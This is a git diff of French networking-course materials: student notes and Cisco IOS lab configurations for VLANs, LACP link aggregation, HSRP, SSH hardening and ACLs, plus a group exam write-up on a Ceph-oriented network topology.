POOL : zone virtuelle +- PG : *Placement Group*, Groupes de placement +- OSD : Disque de stockage + +Un Pool est découpé en PGs avec chacun ses OSDs (vous m'suivez ?) + +## Mise en place + +Commande centrale : +`cephadm` + +Générer le premier noaud : +`cephadm bootstrap --mon-node Noeud1` + +Cela installe : +- 1 MON +- 1 MGR +- 1 shell CEPH + +Vérifier la santé : +`ceph status` + +Vérifier la topologie : +`ceph osd tree` + +Vérifier l'espace : +`ceph df` + +Activer la Web UI (pour un cluster déjà mis en service) : +`ceph mgr module enable dashboard` + +## Exercice 1 + +1. Quel protocole utilisent les MON et MGR pour communiquer entre eux ? +2. Quelle(s) sont le(s) bonne(s) pratique(s) auxquelles cet exercice ne se plie pas ? +3. À quoi sert le SSH dans une infrastructure Ceph ? +4. La WebUI semble t-elle protéger les communications via un chiffrement SSL/TLS ? +5. Quelle est la différence entre le Backfill et le Recovery ? + +## Exercice 2 \ No newline at end of file diff --git a/Semaine_02/Jour_01/Exercice - Mise en place d'un VLAN et du Trunking.pkt b/Semaine_02/Jour_01/Exercice - Mise en place d'un VLAN et du Trunking.pkt new file mode 100644 index 0000000..bb1d7d0 Binary files /dev/null and b/Semaine_02/Jour_01/Exercice - Mise en place d'un VLAN et du Trunking.pkt differ diff --git a/Semaine_02/Jour_02.md b/Semaine_02/Jour_02.md new file mode 100644 index 0000000..1f62b49 --- /dev/null +++ b/Semaine_02/Jour_02.md @@ -0,0 +1,274 @@ +# + +## Exercice 1 + +``` +SW1# +SW1#configure terminal +SW1(config)#vlan 10 +SW1(config-vlan)#name VLAN0010 +SW1(config-vlan)#interface Fa0/1 +SW1(config-if)#switchport mode access +SW1(config-if)#switchport access vlan 10 +SW1(config-if)#no shutdown +SW1(config-if)#end +SW1#write memory +``` + +``` +SW1# +SW1#configure terminal +SW1(config)#interface Fa0/3 +SW1(config-if)#switchport mode trunk +SW1(config-if)#switchport trunk native vlan 10 +SW1(config-if)#switchport nonegotiate +SW1(config-if)#end +SW1#write memory +``` + +``` +SW1# +SW1#configure terminal +SW1(config)#interface Fa0/3 +SW1(config-if)#switchport mode trunk +SW1(config-if)#switchport trunk native vlan 1 +SW1(config-if)#switchport trunk allowed vlan 1,10,20 +SW1(config-if)#end +SW1#write memory +``` + +## Cours + +### Port-Channelling + +Agrégation de liens entre plusieurs switchs : augmenter la bande passante à l'infini. + +- Câble virtuel : nommé LAG (*Link Agregation Group*) +Une fois créé, le LAG doit être administré comme une interface physique. + +#### Les standards + +- Le Port-Channel : standard ouvert de l'IEEE +- Etherchannel : protocole propriétaire de Cisco + +De 2 à 8 interfaces physiques max par LAG. Uniquement de même type et de débit. Avec un seul destinataire. +Maximum 6 LAGs par Switch. (donc 6 LAGs x 8 ports, ça fait un switch de 48 ports). + +Implémentations : +- Statiques : l'existence du LAG est décidée par l'admin +- Dynamiques : les appareils négocient entre eux l'établissement d'un LAG si besoin, via un protocole. + +Les protocoles d'auto-établissement de LAG : +- PAgP : Propriétaire Cisco +- LACP : Standard IEEE 803.2ad + +Il suffit pour activer de dire `desirable` en console : +- Desirable : *J'initie la négociation du LAG* +- Auto : *J'attends qu'on vienne négocier* + +## Exercice 3 + +### Liaison entre SW1 et SW2 + +``` +Switch1>enable +Switch1#configure terminal +Switch1(config)#interface range Fa0/1 - 3 +Switch1(config-if-range)#channel-group 1 mode active +Switch1(config-if-range)#exit +Switch1(config)#interface port-channel 1 +Switch1(config-if)#description LACP-SW1-SW2 +Switch1(config-if)#switchport mode trunk +Switch1(config-if)#exit +``` + +``` +Switch2>enable +Switch2#configure terminal +Switch2(config)#interface range Fa0/4 - 6 +Switch2(config-if-range)#channel-group 1 mode active +Switch2(config-if-range)#exit +Switch2(config)#interface port-channel 1 +Switch2(config-if)#description LACP-SW1-SW2 +Switch2(config-if)#switchport mode trunk +Switch2(config-if)#exit +``` + +### Liaison entre SW2 et SW3 + +``` +Switch2>enable +Switch2#configure terminal +Switch2(config)#interface range Fa0/1 - 3 +Switch2(config-if-range)#channel-group 2 mode active +Switch2(config-if-range)#exit +Switch2(config)#interface port-channel 2 +Switch2(config-if)#description LACP-SW2-SW3 +Switch2(config-if)#switchport mode trunk +Switch2(config-if)#exit +``` + +``` +Switch3>enable +Switch3#configure terminal +Switch3(config)#interface range Fa0/4 - 6 +Switch3(config-if-range)#channel-group 2 mode active +Switch3(config-if-range)#exit +Switch3(config)#interface port-channel 2 +Switch3(config-if)#description LACP-SW2-SW3 +Switch3(config-if)#switchport mode trunk +Switch3(config-if)#exit +``` + +### Liaison entre SW3 et SW1 + +``` +Switch3>enable +Switch3#configure terminal +Switch3(config)#interface range Fa0/1 - 3 +Switch3(config-if-range)#channel-group 3 mode active +Switch3(config-if-range)#exit +Switch3(config)#interface port-channel 3 +Switch3(config-if)#description LACP-SW3-SW1 +Switch3(config-if)#switchport mode trunk +Switch3(config-if)#exit +``` + +``` +Switch1>enable +Switch1#configure terminal +Switch1(config)#interface range Fa0/4 - 6 +Switch1(config-if-range)#channel-group 3 mode active +Switch1(config-if-range)#exit +Switch1(config)#interface port-channel 3 +Switch1(config-if)#description LACP-SW3-SW1 +Switch1(config-if)#switchport mode trunk +Switch1(config-if)#exit +``` + +## Exercice 4 + +**TP : Mise en œuvre du protocole HSRP dans un réseau redondant** + +*Objectif* +Mettre en place une **redondance de passerelle** à l’aide du protocole **HSRP (Hot Standby Router Protocol)**, afin d’assurer la **continuité de service** en cas de défaillance d’un routeur. + +--- + +**Réseau partagé** : 192.168.1.0/24 +**Passerelle virtuelle HSRP** : 192.168.1.1 + +### 1 & 2 + +``` +Router1>enable +Router1#configure terminal +Router1(config)#interface Gig0/0/0 +Router1(config-if)#ip address 192.168.1.200 255.255.255.0 +Router1(config-if)#standby 1 ip 192.168.1.1 +Router1(config-if)#standby 1 priority 150 +Router1(config-if)#standby 1 preempt +Router1(config-if)#no shutdown +``` + +``` +Router2>enable +Router2#configure terminal +Router2(config)#interface Gig0/0/0 +Router2(config-if)#ip address 192.168.1.201 255.255.255.0 +Router2(config-if)#standby 1 ip 192.168.1.1 +Router2(config-if)#standby 1 priority 100 +Router2(config-if)#standby 1 preempt +Router2(config-if)#no shutdown +``` + +### 3 + +``` +Router1#show standby brief + P indicates configured to preempt. + | +Interface Grp Pri P State Active Standby Virtual IP +Gig0/0/0 1 150 P Active local 192.168.1.201 192.168.1.1 +``` + +``` +Router2#show standby brief + P indicates configured to preempt. + | +Interface Grp Pri P State Active Standby Virtual IP +Gig0/0/0 1 100 P Standby 192.168.1.200 local 192.168.1.1 +``` + +### 4 + +### 5 + +1. HSRP est fermé par Cisco, VRRP est ouvert. +2. +3. L'adresse IP la plus haute remporterait le rôle Actif. +4. HSRP est une passerelle virtuelle avec du matériel en série pour éviter les SPOF. L'agrégation de liens est autre chose + +## Exercice 5 + +### Liaison entre SW1 et SW2 + +``` +SW1>enable +SW1#configure terminal +SW1(config)#interface range Fa0/3 - 4 +SW1(config-if-range)#channel-group 1 mode active +SW1(config-if-range)#exit +SW1(config)#interface port-channel 1 +SW1(config-if)#description LACP-SW1-SW2 +SW1(config-if)#switchport mode trunk +SW1(config-if)#exit +``` + +``` +SW2>enable +SW2#configure terminal +SW2(config)#interface range Fa0/3 - 4 +SW2(config-if-range)#channel-group 1 mode active +SW2(config-if-range)#exit +SW2(config)#interface port-channel 1 +SW2(config-if)#description LACP-SW1-SW2 +SW2(config-if)#switchport mode trunk +SW2(config-if)#exit +``` + +### HSRP entre MLSW1 et MLSW2 + +``` +MLSW1>enable +MLSW1#configure terminal +MLSW1(config)#interface vlan 10 +MLSW1(config-if)#ip address 89.76.0.200 255.255.255.0 +MLSW1(config-if)#standby 1 ip 89.76.0.1 +MLSW1(config-if)#standby 1 priority 150 +MLSW1(config-if)#standby 1 preempt +MLSW1(config-if)#no shutdown +``` + +``` +MLSW2>enable +MLSW2#configure terminal +MLSW2(config)#interface vlan 10 +MLSW2(config-if)#ip address 89.76.0.201 255.255.255.0 +MLSW2(config-if)#standby 1 ip 89.76.0.1 +MLSW2(config-if)#standby 1 priority 100 +MLSW2(config-if)#standby 1 preempt +MLSW2(config-if)#no shutdown +``` + +``` +Router0>enable +Router0#configure terminal +Router0(config)#ip routing +Router0(config)#interface Gig0/0/0 +Router0(config-if)#ip address 89.76.0.254 255.255.255.0 +Router0(config-if)#exit +Router0(config)#interface Gig0/0/1 +Router0(config-if)#ip address 89.76.0.254 255.255.255.0 +Router0(config-if)#exit +``` \ No newline at end of file diff --git a/Semaine_02/Jour_02/4.5.2 Exercice - Mise en place d'un Etherchannel 3 switchs v2.pkt b/Semaine_02/Jour_02/4.5.2 Exercice - Mise en place d'un Etherchannel 3 switchs v2.pkt new file mode 100644 index 0000000..c51f1da Binary files /dev/null and b/Semaine_02/Jour_02/4.5.2 Exercice - Mise en place d'un Etherchannel 3 switchs v2.pkt differ diff --git a/Semaine_02/Jour_02/Exercice_2.pkt b/Semaine_02/Jour_02/Exercice_2.pkt new file mode 100644 index 0000000..42d22b2 Binary files /dev/null and b/Semaine_02/Jour_02/Exercice_2.pkt differ diff --git a/Semaine_02/Jour_02/Exercice_4.pkt b/Semaine_02/Jour_02/Exercice_4.pkt new file mode 100644 index 0000000..f0a42a7 Binary files /dev/null and b/Semaine_02/Jour_02/Exercice_4.pkt differ diff --git a/Semaine_02/Jour_02/Exercice_5_debut.pkt b/Semaine_02/Jour_02/Exercice_5_debut.pkt new file mode 100644 index 0000000..ee1a4a5 Binary files /dev/null and b/Semaine_02/Jour_02/Exercice_5_debut.pkt differ diff --git a/Semaine_02/Jour_02/TP2 Exercice - Troubleshooting de VLAN & Trunking.pkt b/Semaine_02/Jour_02/TP2 Exercice - Troubleshooting de VLAN & Trunking.pkt new file mode 100644 index 0000000..2063642 Binary files /dev/null and b/Semaine_02/Jour_02/TP2 Exercice - Troubleshooting de VLAN & Trunking.pkt differ diff --git a/Semaine_02/Jour_02/TP_HSRP_LAN.md b/Semaine_02/Jour_02/TP_HSRP_LAN.md new file mode 100644 index 0000000..83bc7be --- /dev/null +++ b/Semaine_02/Jour_02/TP_HSRP_LAN.md @@ -0,0 +1,52 @@ +# TP : Mise en œuvre du protocole HSRP dans un réseau redondant + +## 🎯 Objectif +Mettre en place une **redondance de passerelle** à l’aide du protocole **HSRP (Hot Standby Router Protocol)**, afin d’assurer la **continuité de service** en cas de défaillance d’un routeur. + +--- + +🧱 **Réseau partagé** : 192.168.1.0/24 +🎯 **Passerelle virtuelle HSRP** : 192.168.1.1 + +--- + +## ⚙️ Étapes du TP + +### 1️⃣ Configuration IP de base +Configurer les adresses IP sur les deux routeurs et le PC selon le schéma ci-dessus. +Vérifier la connectivité entre les équipements avec la commande `ping`. + +--- + +### 2️⃣ Configuration HSRP +Configurer HSRP sur les deux routeurs afin de partager une adresse IP virtuelle (192.168.1.1). +Le **Router1** doit être prioritaire. + +--- + +### 3️⃣ Vérification +Utiliser les commandes de vérification pour observer : +- Le routeur **actif** +- Le routeur **standby** +- L’adresse IP virtuelle et l’adresse MAC virtuelle associée + +--- + +### 4️⃣ Test de bascule +1. Vérifier le rôle initial de chaque routeur. +2. Désactiver l’interface G0/0 de Router1 pour simuler une panne. +3. Vérifier le basculement automatique du rôle actif vers Router2. +4. Réactiver Router1 et observer le retour automatique à l’état initial. + +--- + +### 5️⃣ Questions de réflexion + +1. Quelle est la différence entre HSRP et VRRP ? +2. Pourquoi configure-t-on la commande `preempt` ? +3. Que se passerait-il si les deux routeurs avaient la même priorité ? +4. Quelle est la différence entre HSRP et une agrégation de liens (EtherChannel) ? + +--- + +**Fin du TP.** diff --git a/Semaine_02/Jour_03/Exercice_5_suite.pkt b/Semaine_02/Jour_03/Exercice_5_suite.pkt new file mode 100644 index 0000000..3ab2be1 Binary files /dev/null and b/Semaine_02/Jour_03/Exercice_5_suite.pkt differ diff --git a/Semaine_02/Jour_04.md b/Semaine_02/Jour_04.md new file mode 100644 index 0000000..f611f62 --- /dev/null +++ b/Semaine_02/Jour_04.md @@ -0,0 +1,207 @@ +# Sécurité en réseau + +## Cours + +### Travail dirigé + +- Sécuriser le port console +- Sécuriser le passage au niveau 2 (*enable*) +- Sécuriser les ports réseau (*port-security*) +- Metter en place le SSH (*sur VLAN dédié*) + +- BDPU Guard (*protéger le port d'un branchement à un autre switch*) +- ACLs (*standard et étendue*) +- Théorie des pare-feux + +## Exercices + +### Exercice 1 + +### Exercice 2 + +#### Partie 1 + +**Routeur** +``` +enable + conf t + interface Gig0/1 + ip address 192.168.0.1 255.255.255.0 + no shutdown + ip default-gateway 192.168.0.1 + interface Gig0/1 + ip address 192.168.1.1 255.255.255.0 + no shutdown + ip default-gateway 192.168.1.1 + no ip domain-lookup + enable secret class + line console 0 + password cisco + login + line vty 0 4 + password cisco + login + transport input all + service password-encryption + banner motd # You shan't access this very device without permission # + end +write memory +``` + +**Switch** +``` +enable + conf t + vlan 10 + name VLAN10 + exit + interface FastEthernet0/5 + switchport mode access + switchport access vlan 99 + spanning-tree portfast + interface FastEthernet0/6 + switchport mode access + switchport access vlan 99 + spanning-tree portfast + interface vlan 10 + ip address 192.168.1.2 255.255.255.0 + no shutdown + ip default-gateway 192.168.1.1 + no ip domain-lookup + enable secret class + line console 0 + password cisco + login + line vty 0 4 + password cisco + login + transport input all + service password-encryption + banner motd # You shan't access this very device without permission # + end +write memory +``` + +### Exercice 3 + +#### Liste des commandes utiles + +| Commandes | Descriptions | +|---------------------------------------------------------|------------------------------------------------------------------| +| conf t | Activate configuration from terminal | +| interface *interface* | Go in interface to configure it properly | +| ip access-group *ACL_name* **{in\|out}** | Activate and apply ACL to interface | +| **ip access-list extended** *ACL_name* | Define ACL and go into conf mode | +| **{permit\|deny}** {test conditions} | Defined apply policy for said ACL | +| **show access-lists** *ACL_name* | Display all ACLs content | +| **show ip interface** *interface-type interface number* | Display IP infos from specific interface, including applied ACLs | + +#### + +``` +router> enable +router# configure terminal +router(config)# access-list 10 deny 10.1.1.101 0.0.0.0 +router(config)# access-list 10 permit any +router(config)# line vty 0 4 +router(config-line)# access-class 10 in +router(config-line)# exit +router(config)# interface GigabitEthernet0/0 +router(config-if)# ip access-group 10 in +router(config)# exit +router# write memory +``` + +### Exercice 4 + +#### Tâche 1 + +``` +ping 172.16.1.100 +traceroute 172.16.1.100 +``` + +``` +show interfaces Gig0/1 +conf t + ip route 0.0.0.0 0.0.0.0 209.165.201.2 + end +write memory +``` + +#### Tâche 2 + +``` +telnet 172.16.1.100 23 +telnet 172.16.1.100 80 +``` + +### Exercice 5 + +**R1** +``` +enable + conf t + interface Gig0/0 + ip address 192.168.0.5 255.255.255.252 + no shutdown + interface Gig0/1 + ip address 192.168.0.2 255.255.255.252 + no shutdown + router ospf 21 + network 192.168.0.0 0.0.0.3 area 0 + router ospf 13 + network 192.168.0.4 0.0.0.3 area 0 + no ip domain-lookup + end +write memory +``` + +**R2** +``` +enable + conf t + interface Gig0/0 + ip address 192.168.0.10 255.255.255.252 + no shutdown + interface Gig0/1 + ip address 192.168.0.6 255.255.255.252 + no shutdown + interface Gig0/2 + ip address 192.168.100.254 255.255.255.0 + no shutdown + router ospf 32 + network 192.168.0.8 0.0.0.3 area 0 + router ospf 21 + network 192.168.0.0 0.0.0.3 area 0 + no ip domain-lookup + ip routing + end +write memory +``` + +**R3** +``` +enable + conf t + interface Gig0/0 + ip address 192.168.0.1 255.255.255.252 + no shutdown + interface Gig0/1 + ip address 192.168.0.9 255.255.255.252 + no shutdown + interface Gig0/2 + ip address 192.168.200.254 255.255.255.0 + no shutdown + router ospf 13 + network 192.168.0.4 0.0.0.3 area 0 + router ospf 32 + network 192.168.0.8 0.0.0.3 area 0 + no ip domain-lookup + ip routing + end +write memory +``` + + +### Exercice 6 \ No newline at end of file diff --git a/Semaine_02/Jour_04/212.1.0 - Les Pare-feux simplifiés sous Linux.pdf b/Semaine_02/Jour_04/212.1.0 - Les Pare-feux simplifiés sous Linux.pdf new file mode 100644 index 0000000..f91237f Binary files /dev/null and b/Semaine_02/Jour_04/212.1.0 - Les Pare-feux simplifiés sous Linux.pdf differ diff --git a/Semaine_02/Jour_04/212.1.1 Filtrage de paquets sur GNU Linux avec IPTables & NFTables.pdf b/Semaine_02/Jour_04/212.1.1 Filtrage de paquets sur GNU Linux avec IPTables & NFTables.pdf new file mode 100644 index 0000000..32a38d0 Binary files /dev/null and b/Semaine_02/Jour_04/212.1.1 Filtrage de paquets sur GNU Linux avec IPTables & NFTables.pdf differ diff --git a/Semaine_02/Jour_04/Jour_04.pkt b/Semaine_02/Jour_04/Jour_04.pkt new file mode 100644 index 0000000..6983552 Binary files /dev/null and b/Semaine_02/Jour_04/Jour_04.pkt differ diff --git a/Semaine_02/Jour_04/Jour_04_exercice_2.pkt b/Semaine_02/Jour_04/Jour_04_exercice_2.pkt new file mode 100644 index 0000000..0487b99 Binary files /dev/null and b/Semaine_02/Jour_04/Jour_04_exercice_2.pkt differ diff --git a/Semaine_02/Jour_04/TP3 - Exercice - Filtrer le traffic via des ACL.pkt b/Semaine_02/Jour_04/TP3 - Exercice - Filtrer le traffic via des ACL.pkt new file mode 100644 index 0000000..068a703 Binary files /dev/null and b/Semaine_02/Jour_04/TP3 - Exercice - Filtrer le traffic via des ACL.pkt differ diff --git a/Semaine_02/Jour_04/TP3 - Mise en place d_un filtrage via ACLs.pdf b/Semaine_02/Jour_04/TP3 - Mise en place d_un filtrage via ACLs.pdf new file mode 100644 index 0000000..aad0793 Binary files /dev/null and b/Semaine_02/Jour_04/TP3 - Mise en place d_un filtrage via ACLs.pdf differ diff --git a/Semaine_02/Jour_04/TP4 - Exercice - Troubleshooting de connectivité IP a cause des ACLs.pkt b/Semaine_02/Jour_04/TP4 - Exercice - Troubleshooting de connectivité IP a cause des ACLs.pkt new file mode 100644 index 0000000..e7bf2f7 Binary files /dev/null and b/Semaine_02/Jour_04/TP4 - Exercice - Troubleshooting de connectivité IP a cause des ACLs.pkt differ diff --git a/Semaine_02/Jour_04/TP4 - Troubleshooting de connectivité IP à cause des ACLs.pdf b/Semaine_02/Jour_04/TP4 - Troubleshooting de connectivité IP à cause des ACLs.pdf new file mode 100644 index 0000000..57663ab Binary files /dev/null and b/Semaine_02/Jour_04/TP4 - Troubleshooting de connectivité IP à cause des ACLs.pdf differ diff --git a/Semaine_02/Jour_04/TP5 - 2 Établir une ACL standard.pdf b/Semaine_02/Jour_04/TP5 - 2 Établir une ACL standard.pdf new file mode 100644 index 0000000..9cfd451 Binary files /dev/null and b/Semaine_02/Jour_04/TP5 - 2 Établir une ACL standard.pdf differ diff --git a/Semaine_02/Jour_04/TP5 - 2 Établir une ACL standard.pkt b/Semaine_02/Jour_04/TP5 - 2 Établir une ACL standard.pkt new file mode 100644 index 0000000..7ebf39d Binary files /dev/null and b/Semaine_02/Jour_04/TP5 - 2 Établir une ACL standard.pkt differ diff --git a/Semaine_02/Jour_04/TP6 - 3 Établir une ACL étendue.pdf b/Semaine_02/Jour_04/TP6 - 3 Établir une ACL étendue.pdf new file mode 100644 index 0000000..5039ef9 Binary files /dev/null and b/Semaine_02/Jour_04/TP6 - 3 Établir une ACL étendue.pdf differ diff --git a/Semaine_02/Jour_04/drive-download-20251120T130418Z-1-001.zip b/Semaine_02/Jour_04/drive-download-20251120T130418Z-1-001.zip new file mode 100644 index 0000000..189980c Binary files /dev/null and b/Semaine_02/Jour_04/drive-download-20251120T130418Z-1-001.zip differ diff --git a/Semaine_02/Jour_05_evaluation.pdf b/Semaine_02/Jour_05_evaluation.pdf new file mode 100644 index 0000000..b5f6af3 Binary files /dev/null and b/Semaine_02/Jour_05_evaluation.pdf differ diff --git a/Semaine_02/Jour_05_examen.md b/Semaine_02/Jour_05_examen.md new file mode 100644 index 0000000..8ea79f9 --- /dev/null +++ b/Semaine_02/Jour_05_examen.md @@ -0,0 +1,609 @@ +Emmanuel-Joyce NTSIA, Gauvain BOICHÉ, Joris STAVROULAKIS, Léo JARRY, + +**Nous jurons sur l'honneur que les commandes entre `` sont tapées à la main à partir de nos notes de cours. (Elles sont réfléchies par nous en notre âme et conscience, on boycott openAI)** + +*Pour rigoler on a passé une instruction "Génère moi une capture d'écran de Cisco Packet Tracer en pleine configuration d'un VLAN par la CLI" et voilà le résultat :* + + + +**Pour ne pas rigoler, ça devrait être illégal de nous mettre du 176 quand on est habitué au 172 en adresse** + +# Mise en place de la Topologie physique: + +Le client a présenté une topologie précise avec des modèles précis, nous avons décidé de garder la topologie d'origine pour des questions de négociations facilitées. + +- Commutateurs 2960-24TT +- Routeur ISR4331 +- Câbles droits pour liaisons routeurs & PC <-> commutateurs +- Câbles croisés pour liaisons inter-commutateurs + + + +## Mise en place des adresses IP pour les pc + + + + + + + + + +## Mise en place des VLAN + +**À noter qu'à partir de maintenant, des write memory sont fait après chaque étape pour s'assurer que la configuration soit bien sauvegardée** + +### Création des VLANS dans les switch + +**À faire sur tous les Switchs** +``` +enable + conf t + vlan 10 + name OSD + exit + vlan 20 + name MON-MGR + exit + vlan 30 + name Supervision + exit + vlan 40 + name Tests + exit + interface vlan 1 + no shutdown + exit + interface vlan 10 + no shutdown + exit + interface vlan 20 + no shutdown + exit + interface vlan 30 + no shutdown + exit + interface vlan 40 + no shutdown + end + write memory +``` + + + + + + + + +### Mise en place des ports access Switch - PC + + +**À faire sur tous les Switchs sauf S5 en adaptant le port et la vlan** + + + + +### Mise en place du port trunk entre S5 et R1 (le routeur) + + + +(Petit oubli) On rajoute le nonegotiate : + + + +## Mise en place des LAGs + +**Switch 1** +``` +enable + conf t + interface range Fa0/2 - 4 + channel-group 1 mode active + exit + interface range Fa0/5 - 7 + channel-group 2 mode active + exit + interface port-channel 1 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + interface port-channel 2 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + show interfaces Port-channel [1,2] ! Pour contrôler + show interfaces trunk ! Pour contrôler + show etherchannel summary ! Pour contrôler + end + write memory +``` +### Création du LAG en LACP actif + + + +**Il faut faire pareil sur S4 (le switch de l'autre côté des ports concernés) du coup aussi pour que ça fonctionne** + +### Configuration du trunk sur les LAGs + + + +(Petit oubli) On rajoute le nonegotiate : + + + +**Ensuite il faut recommencer ces deux étapes (création du LAG et mise en place du trunk), sur tous les switchs en adaptant bien sûr les ports et en faisant bien attention de respecter les numéros de channel-group** + +### Vérification du LAG et du trunk dessus + + + + + + + +**Switch 2** +``` +enable + conf t + interface range Fa0/2 - 4 + channel-group 3 mode active + exit + interface range Fa0/5 - 7 + channel-group 2 mode active + exit + interface range Fa0/8 - 10 + channel-group 1 mode active + exit + interface port-channel 1 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + interface port-channel 2 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + interface port-channel 3 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + show interfaces Port-channel [1,2,3] + show interfaces trunk + show etherchannel summary + end + write memory +``` + +**Switch 3** +``` +enable + conf t + interface range Fa0/5 - 7 + channel-group 2 mode active + exit + interface range Fa0/8 - 10 + channel-group 1 mode active + exit + interface range Fa0/11 - 13 + channel-group 4 mode active + exit + interface port-channel 1 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + interface port-channel 2 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + interface port-channel 3 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + show interfaces Port-channel [1,2,3] + show interfaces trunk + show etherchannel summary + end + write memory +``` + + +**Switch 4** +``` +enable + conf t + interface range Fa0/2 - 4 + channel-group 1 mode active + exit + interface range Fa0/5 - 7 + channel-group 2 mode active + exit + interface port-channel 1 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + interface port-channel 2 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + show interfaces Port-channel [1,2,3] + show interfaces trunk + show etherchannel summary + end + write memory +``` + + +**Switch 5** +``` +enable + conf t + interface range Fa0/2 - 4 + channel-group 3 mode active + exit + interface range Fa0/11 - 13 + channel-group 4 mode active + exit + interface port-channel 1 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + interface port-channel 2 + switchport mode trunk + switchport trunk native vlan 1 + switchport trunk allowed vlan 1,10,20,30,40 + no shutdown + exit + show interfaces Port-channel [1,2,3] + show interfaces trunk + show etherchannel summary + end + write memory +``` + +## Mise en place du routage inter-vlan + +**Routeur** +``` +enable + conf t + interface Gig0/0/0 + no shutdown + exit + interface Gig0/0/0.1 + encapsulation dot1Q 1 native + ip address 176.16.1.254 255.255.255.0 + no shutdown + exit + interface Gig0/0/0.10 + encapsulation dot1Q 10 + ip address 176.16.10.254 255.255.255.0 + no shutdown + exit + interface Gig0/0/0.20 + encapsulation dot1Q 20 + ip address 176.16.20.254 255.255.255.0 + no shutdown + exit + interface Gig0/0/0.30 + encapsulation dot1Q 30 + ip address 176.16.30.254 255.255.255.0 + no shutdown + exit + interface Gig0/0/0.40 + encapsulation dot1Q 40 + ip address 176.16.40.254 255.255.255.0 + no shutdown + end + write memory +``` + +### Interface physique + + + +### Interfaces virtuelles + + + + + + + +Depuis PC_OSD (vlan 10) : + + + + + +**Puis on fait ça pour toutes les autres VLAN** + + + + +## Sécurisation et accès à distance sur chaque appareil + +### BPDU Guard + +Sur les ports des switchs qui sont connectés aux pc/routeur on active le BPDU guard + +``` +enable + conf t + interface Fa0/1 + spanning-tree bpduguard enable + end + write memory +``` + + + +### Sécurisation du port console + +``` +enable + conf t + line console 0 + password root + login + exit + service password-encryption + end + write memory +``` + + + +Parce que c'est un exercice on va mettre le même mot de passe partout pour se simplifier la vie, bien sûr en vrai on mettrait des mots de passes forts et différents + +Le service password-encryption servira à empêcher que le mot de passe soit accessible en clair dans la configuration + +**On fait la même chose sur tous les switch et routeur** + +### Activation à distance (ssh) + +``` +enable + conf t + ip domain-name fuckssh.com + username ssh secret root + crypto key generate rsa general-keys modulus 2048 + line vty 0 15 + transport input ssh + login local + exit + ip ssh version 2 + interface vlan 1 + ip address 176.16.1.1 255.255.255.0 + exit + ip default-gateway 176.16.1.254 + end + write memory +``` +*Le code est adapté pour chaque Switch, donc l'adresse IP sera 176.16.1.[1-5]* + + + +**On oublie bien sûr pas d'ajouter une ip au switch dans le vlan 1 pour pouvoir s'y connecter ainsi que l'ip default-gateway** + + + + + +**On fait la même chose sur tous les switch et routeur** + +### Sécurisation du mode enable + +``` +enable + conf t + enable secret root + end + write memory +``` + + + +
+ + + +### Vérification accès à distance + + + +### MOTD + Sécurisation des interfaces inactives + +``` +enable + conf t + banner motd # Personnel autorise seulement # + end + write memory +``` + +**On fait la même chose sur tous les switch et routeur** + +Puis on fait la sécurisation des interfaces inactives en les éteignant et en les mettant sur un vlan 44 créé exprès pour ça + + + + + + + + + +**Switch 1** +``` +enable + conf t + interface range Gig0/1 - 2 + switchport mode access + switchport access vlan 44 + shutdown + exit + interface range Fa0/8 - 24 + switchport mode access + switchport access vlan 44 + shutdown + end + write memory +``` + +**Switch 2** +``` +enable + conf t + interface range Gig0/1 - 2 + switchport mode access + switchport access vlan 44 + shutdown + exit + interface range Fa0/11 - 24 + switchport mode access + switchport access vlan 44 + shutdown + end + write memory +``` + +**Switch 3** +``` +enable + conf t + interface range Gig0/1 - 2 + switchport mode access + switchport access vlan 44 + shutdown + exit + interface range Fa0/2 - 4 + switchport mode access + switchport access vlan 44 + shutdown + exit + interface range Fa0/14 - 24 + switchport mode access + switchport access vlan 44 + shutdown + end + write memory +``` + +**Switch 4** +``` +enable + conf t + interface range Gig0/1 - 2 + switchport mode access + switchport access vlan 44 + shutdown + exit + interface range Fa0/8 - 24 + switchport mode access + switchport access vlan 44 + shutdown + end + write memory +``` + +**Switch 5** +``` +enable + conf t + interface range Gig0/1 - 2 + switchport mode access + switchport access vlan 44 + shutdown + exit + interface range Fa0/5 - 10 + switchport mode access + switchport access vlan 44 + shutdown + exit + interface range Fa0/14 - 24 + switchport mode access + switchport access vlan 44 + shutdown + end + write memory +``` + +**Router** +``` +enable + conf t + interface range Gig0/0/1 - 2 + shutdown + end + write memory +``` + +## Mise en place des ACLs + +Pour les ACLs on a décidé deux faire deux listes, une spécifiquement à l'entrée de la gateway du vlan 10 sur le routeur qui bloque uniquement les ports utilisés par les OSD avec les protocoles CEPH + +Et une deuxième à l'entrée de la gateway du vlan 20 sur le routeur pour bloquer les ports utilisés par le monitor / manager de la même façon + +On bloque donc les paquets qui viennent de ces deux vlan sur les ports utilisés par CEPH et qui sont en destination du réseau Tests (vlan 40) + +Tout le reste du traffic est permis entre tous les vlans définis (icmp / ip, etc...) + + + + + + + + + + + +``` +enable + conf t + ip access-list extended CEPH_EXCLUDE_TESTS_VLAN10 + deny tcp 176.16.10.0 0.0.0.255 176.16.40.0 0.0.0.255 range 6800 7300 + permit icmp any any + permit ip any any + exit + ip access-list extended CEPH_EXCLUDE_TESTS_VLAN20 + deny tcp 176.16.20.0 0.0.0.255 176.16.40.0 0.0.0.255 range 6800 7300 + deny tcp 176.16.20.0 0.0.0.255 176.16.40.0 0.0.0.255 eq 3300 + deny tcp 176.16.20.0 0.0.0.255 176.16.40.0 0.0.0.255 eq 6789 + permit icmp any any + permit ip any any 